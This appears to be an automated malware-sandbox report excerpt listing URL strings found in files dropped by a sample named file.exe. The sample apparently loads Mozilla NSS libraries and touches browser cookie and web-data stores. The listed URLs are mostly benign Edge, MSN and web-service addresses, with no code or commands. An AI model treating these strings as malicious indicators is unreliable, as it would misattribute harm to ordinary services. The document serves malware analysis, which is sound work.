Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://gaana.com/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://m.kugou.com/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://m.soundcloud.com/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://m.vk.com/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.9.dr	String found in binary or memory: https://msn.comXIDv10
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://music.amazon.com
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://music.apple.com
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.8.dr, 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.8.dr, 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log9.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13377014069864178.8.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.8.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.8.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://open.spotify.com
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: IDGIJEGHDAECAKECAFCAKFCGDA.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IDGIJEGHDAECAKECAFCAKFCGDA.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IDGIJEGHDAECAKECAFCAKFCGDA.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://tidal.com/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://vibe.naver.com/today
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://web.telegram.org/
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://web.whatsapp.com
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2637623479.0000000023A0E000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2637623479.0000000023A0E000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.8.dr, content.js.8.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2383633685.00000000239B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr, KKKJKEBK.0.dr, Web Data.8.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
